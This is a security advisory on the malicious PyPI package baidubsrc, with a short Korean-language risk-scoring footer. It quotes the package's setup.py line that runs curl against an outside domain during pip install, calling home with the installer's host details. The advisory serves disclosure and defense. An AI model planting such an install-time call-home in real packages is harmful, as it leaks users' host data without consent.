Malicious code in baidubsrc (PyPI)
-= Per source details. Do not edit below this line.=-
setup.py executes os.system("curl xiangyangt.com/pypi") unconditionally during pip install. This is an unauthenticated plaintext HTTP request to a personal third-party domain that is not associated with any documented publisher of this package. The request leaks the installer's IP address, User-Agent, and the fact that the package was installed on the host. The package is otherwise a trivial demo (placeholder author="demo", description "A demo pip package") with no functional need for any network activity at install time. While the response is not piped to a shell here, the install-time outbound beacon is a deliberate exfiltration of host-identifying data to an attacker-chosen endpoint, and the curl-pipe-to-shell variant is one edit away.
During installation, package calls home, and there is no other functionality.
Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.
Campaign: GENERIC-standard-pypi-install-pentest
Reasons (based on the campaign):
The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.
The package overrides the install command in setup.py to execute malicious code during installation.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도(기본값(정보 없음)) | 55.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 55.00 |
VPI 공식 vpi-v1 기준